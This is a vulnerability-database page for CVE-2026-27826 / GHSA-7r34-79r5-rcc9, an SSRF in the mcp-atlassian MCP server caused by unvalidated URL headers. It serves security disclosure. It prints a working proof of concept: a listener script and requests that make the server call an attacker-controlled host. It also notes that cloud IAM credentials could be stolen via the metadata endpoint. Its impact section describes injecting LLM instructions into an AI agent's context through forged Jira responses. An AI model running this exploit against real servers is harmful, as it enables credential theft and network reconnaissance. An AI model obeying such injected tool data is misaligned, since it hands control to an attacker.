Vulnerability-Lookup

GHSA-7R34-79R5-RCC9

Vulnerability from github – Published: 2026-03-10 18:48 – Updated: 2026-03-10 18:48

Summary

MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers

Details

Summary

An unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169.254.169.254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.

Details

The server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (src/mcp_atlassian/servers/main.py:436–448) extracts X-Atlassian-Jira-Url from the request and stores it in request state with no validation. The dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217) then uses this value directly as the url= parameter when constructing a JiraConfig and JiraFetcher. The first method call on the fetcher (get_current_user_account_id()) immediately issues a GET request to {header_url}/rest/api/2/myself — an outbound SSRF call to the attacker-controlled URL.

No comparison is made against the server-configured JIRA_URL environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.

Trigger conditions — all four must hold: 1. Server running with --transport streamable-http or --transport sse 2. Request contains X-Atlassian-Jira-Url header (any non-empty value) 3. Request contains X-Atlassian-Jira-Personal-Token header (any non-empty value) 4. Request has no Authorization header

An identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url + X-Atlassian-Confluence-Personal-Token.

Root cause - middleware (src/mcp_atlassian/servers/main.py:436–448): ```python # When service headers are present and no Authorization header is provided, # auth type is set to "pat" but user_atlassian_token is NOT set. # This is what routes execution to the vulnerable path below. if service_headers and (jira_token_str and jira_url_str): scope["state"]["user_atlassian_auth_type"] = "pat"

Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217): if ( user_auth_type == "pat" and jira_url_header # attacker-controlled, no validation and jira_token_header and not hasattr(request.state, "user_atlassian_token") ): header_config = JiraConfig( url=jira_url_header, # used directly, no allowlist check personal_token=jira_token_header, ... ) header_jira_fetcher = JiraFetcher(config=header_config) header_jira_fetcher.get_current_user_account_id() # ^ GET {jira_url_header}/rest/api/2/myself — outbound SSRF call request.state.jira_fetcher = header_jira_fetcher # cached for all tool calls this request

PoC

Step 1 - Start a listener to capture the inbound SSRF request:

# listener.py from http.server import HTTPServer, BaseHTTPRequestHandler import json, sys

class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr) print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr) self.send_response(200) self.send_header("Content-Type", "application/json") self.end_headers() if "myself" in self.path: self.wfile.write(json.dumps({ "accountId": "ssrf-confirmed", "displayName": "SSRF PoC" }).encode()) else: self.wfile.write(b"{}") def log_message(self, *args): pass

HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()

Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient — the vulnerable path is reached before any real Atlassian instance is contacted):

JIRA_URL=https://placeholder.atlassian.net \ JIRA_API_TOKEN=placeholder \ mcp-atlassian --transport streamable-http --port 8000

Step 3 — Trigger the SSRF:

import httpx, json

MCP = "http://localhost:8000/mcp" ATTACK = "http://:8888"

# Initialize MCP session r = httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "initialize", "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "1.0"}}, "id": 1 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", # No Authorization header — this is the key condition }) sid = r.headers.get("mcp-session-id")

# Call any Jira tool — this triggers get_jira_fetcher() and the outbound SSRF call httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "tools/call", "params": {"name": "jira_get_issue", "arguments": {"issue_key": "PROJ-1"}}, "id": 2 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", "Mcp-Session-Id": sid, })

The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.

Impact

This vulnerability affects any deployment using --transport streamable-http or --transport sse. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.

Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices) not directly reachable from outside the network.
AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker's server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent's context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.
Cloud deployments: Any network-reachable attacker can potentially steal the server's IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.

Severity ?

8.2 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-atlassian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.17.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:48:46Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an `Authorization` header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer \u2014 not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (`169.254.169.254`). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.\n\n### Details\nThe server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (`src/mcp_atlassian/servers/main.py:436\u2013448`) extracts `X-Atlassian-Jira-Url` from the request and stores it in request state with no validation. The dependency provider (`src/mcp_atlassian/servers/dependencies.py:189\u2013217`) then uses this value directly as the `url=` parameter when constructing a `JiraConfig` and `JiraFetcher`. The first method call on the fetcher (`get_current_user_account_id()`) immediately issues a `GET` request to `{header_url}/rest/api/2/myself` \u2014 an outbound SSRF call to the attacker-controlled URL.\n\nNo comparison is made against the server-configured `JIRA_URL` environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.\n\n  **Trigger conditions \u2014 all four must hold:**\n  1. Server running with `--transport streamable-http` or `--transport sse`\n  2. Request contains `X-Atlassian-Jira-Url` header (any non-empty value)\n  3. Request contains `X-Atlassian-Jira-Personal-Token` header (any non-empty value)\n  4. Request has **no** `Authorization` header\n\n  An identical vulnerability exists for Confluence at `dependencies.py:341\u2013393` via `X-Atlassian-Confluence-Url` +\n  `X-Atlassian-Confluence-Personal-Token`.\n\n  **Root cause - middleware** (`src/mcp_atlassian/servers/main.py:436\u2013448`):\n  ```python\n  # When service headers are present and no Authorization header is provided,\n  # auth type is set to \"pat\" but user_atlassian_token is NOT set.\n  # This is what routes execution to the vulnerable path below.\n  if service_headers and (jira_token_str and jira_url_str):\n      scope[\"state\"][\"user_atlassian_auth_type\"] = \"pat\"\n\n  Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189\u2013217):\n  if (\n      user_auth_type == \"pat\"\n      and jira_url_header           # attacker-controlled, no validation\n      and jira_token_header\n      and not hasattr(request.state, \"user_atlassian_token\")\n  ):\n      header_config = JiraConfig(\n          url=jira_url_header,      # used directly, no allowlist check\n          personal_token=jira_token_header,\n          ...\n      )\n      header_jira_fetcher = JiraFetcher(config=header_config)\n      header_jira_fetcher.get_current_user_account_id()\n      # ^ GET {jira_url_header}/rest/api/2/myself \u2014 outbound SSRF call\n      request.state.jira_fetcher = header_jira_fetcher  # cached for all tool calls this request\n\n\n### PoC\nStep 1 - Start a listener to capture the inbound SSRF request:\n\n  # listener.py\n  from http.server import HTTPServer, BaseHTTPRequestHandler\n  import json, sys\n\n  class Handler(BaseHTTPRequestHandler):\n      def do_GET(self):\n          print(f\"[SSRF RECEIVED] Path: {self.path}\", file=sys.stderr)\n          print(f\"[SSRF RECEIVED] Headers: {dict(self.headers)}\", file=sys.stderr)\n          self.send_response(200)\n          self.send_header(\"Content-Type\", \"application/json\")\n          self.end_headers()\n          if \"myself\" in self.path:\n              self.wfile.write(json.dumps({\n                  \"accountId\": \"ssrf-confirmed\",\n                  \"displayName\": \"SSRF PoC\"\n              }).encode())\n          else:\n              self.wfile.write(b\"{}\")\n      def log_message(self, *args): pass\n\n  HTTPServer((\"0.0.0.0\", 8888), Handler).serve_forever()\n\nStep 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient \u2014 the vulnerable path is reached before any real Atlassian instance is contacted):\n\n  JIRA_URL=https://placeholder.atlassian.net \\\n  JIRA_API_TOKEN=placeholder \\\n  mcp-atlassian --transport streamable-http --port 8000\n\n  Step 3 \u2014 Trigger the SSRF:\n\n  import httpx, json\n\n  MCP    = \"http://localhost:8000/mcp\"\n  ATTACK = \"http://\u003clistener-ip\u003e:8888\"\n\n  # Initialize MCP session\n  r = httpx.post(MCP, json={\n      \"jsonrpc\": \"2.0\", \"method\": \"initialize\",\n      \"params\": {\"protocolVersion\": \"2024-11-05\", \"capabilities\": {},\n                 \"clientInfo\": {\"name\": \"poc\", \"version\": \"1.0\"}},\n      \"id\": 1\n  }, headers={\n      \"X-Atlassian-Jira-Url\": ATTACK,\n      \"X-Atlassian-Jira-Personal-Token\": \"any-value\",\n      # No Authorization header \u2014 this is the key condition\n  })\n  sid = r.headers.get(\"mcp-session-id\")\n\n  # Call any Jira tool \u2014 this triggers get_jira_fetcher() and the outbound SSRF call\n  httpx.post(MCP, json={\n      \"jsonrpc\": \"2.0\", \"method\": \"tools/call\",\n      \"params\": {\"name\": \"jira_get_issue\", \"arguments\": {\"issue_key\": \"PROJ-1\"}},\n      \"id\": 2\n  }, headers={\n      \"X-Atlassian-Jira-Url\": ATTACK,\n      \"X-Atlassian-Jira-Personal-Token\": \"any-value\",\n      \"Mcp-Session-Id\": sid,\n  })\n\n  The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.\n\n\n### Impact\nThis vulnerability affects any deployment using `--transport streamable-http` or `--transport sse`. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.\n\n  - Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices)\n  not directly reachable from outside the network.\n  - AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker\u0027s server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent\u0027s context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation.\n  - Cloud deployments: Any network-reachable attacker can potentially steal the server\u0027s IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.",
  "id": "GHSA-7r34-79r5-rcc9",
  "modified": "2026-03-10T18:48:46Z",
  "published": "2026-03-10T18:48:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-7r34-79r5-rcc9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sooperset/mcp-atlassian/commit/5cd697dfce9116ef330b8dc7a91291640e0528d9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/sooperset/mcp-atlassian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers"
}

CVE-2026-27826 (GCVE-0-2026-27826)

Vulnerability from cvelistv5 – Published: 2026-03-10 18:46 – Updated: 2026-03-10 19:15

Title

MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers

Summary

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, an unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an `Authorization` header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (`169[.]254[.]169[.]254`). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results. Version 0.17.0 fixes the issue.

Severity ?

8.2 (High)


                        
                          CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

CWE

CWE-918 - Server-Side Request Forgery (SSRF)

Assigner

GitHub_M

References

URL

Tags

	https://github.com/sooperset/mcp-atlassian/securi…	x_refsource_CONFIRM
	https://github.com/sooperset/mcp-atlassian/commit…	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	sooperset	mcp-atlassian	Affected: < 0.17.0

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-27826",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-10T19:15:04.483548Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-10T19:15:10.505Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "mcp-atlassian",
          "vendor": "sooperset",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.17.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, an unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an `Authorization` header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer \u2014 not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (`169[.]254[.]169[.]254`). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results. Version 0.17.0 fixes the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-918",
              "description": "CWE-918: Server-Side Request Forgery (SSRF)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-10T18:46:12.069Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-7r34-79r5-rcc9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-7r34-79r5-rcc9"
        },
        {
          "name": "https://github.com/sooperset/mcp-atlassian/commit/5cd697dfce9116ef330b8dc7a91291640e0528d9",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/sooperset/mcp-atlassian/commit/5cd697dfce9116ef330b8dc7a91291640e0528d9"
        }
      ],
      "source": {
        "advisory": "GHSA-7r34-79r5-rcc9",
        "discovery": "UNKNOWN"
      },
      "title": "MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-27826",
    "datePublished": "2026-03-10T18:46:12.069Z",
    "dateReserved": "2026-02-24T02:32:39.799Z",
    "dateUpdated": "2026-03-10T19:15:10.505Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-7R34-79R5-RCC9

Summary

Details

PoC

Impact

CVE-2026-27826 (GCVE-0-2026-27826)

Tags

Sightings

Nomenclature